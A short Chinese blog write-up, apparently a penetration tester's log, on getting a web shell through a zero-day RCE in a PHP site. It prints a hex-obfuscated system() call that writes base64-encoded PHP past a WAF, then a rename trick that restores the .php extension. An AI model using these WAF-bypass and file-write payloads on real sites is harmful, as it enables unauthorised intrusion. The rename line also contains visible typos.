记一次getshell
水文涉及的知识点:
- Oday的挖掘
- 可以执行命令,但是有WAF , 命令执行的绕过
- 机器不出网,无法反弹
- Echo写文件,发现只要写入php文件,后缀就重名为*,如1.php 变成1.*
- 通过上传 logs.pphphp文件,然后经过php的rename函数 重命名我们的文件,成功getshell
通过审计到了一个0日的前台RCE漏洞,机器不出网,所以我准备echo了一个经过base64编码的phpinfo , 文件名我们命名为logss.pphphp
array_map(hex2bin('73797374656d'),array('echo PD9waHAKcGhwaW5mbygpOwo/Pg== | base64 -d > /xxx/xxx/xxxx/xxxx/xxxxx/logss.pphphp'))
编码写进去因为有WAF,经过WAF处理重命名为了如下文件:logss.p*hp
因为这儿不仅可以执行操作系统命令也可以执行PHP命令,这儿我们使用php rename函数重命令文件,然后使用str_replace 将*替换成空格。
rename('/xxx/xxx/xxx/xx/xx/xx/ogss.p*hp',str_replace('*','','/xx/xxx/xx/xx/cache/xx/ logss.p*hp')
这时候我们列目录发现 文件名已经成功修改过来了
成功getshell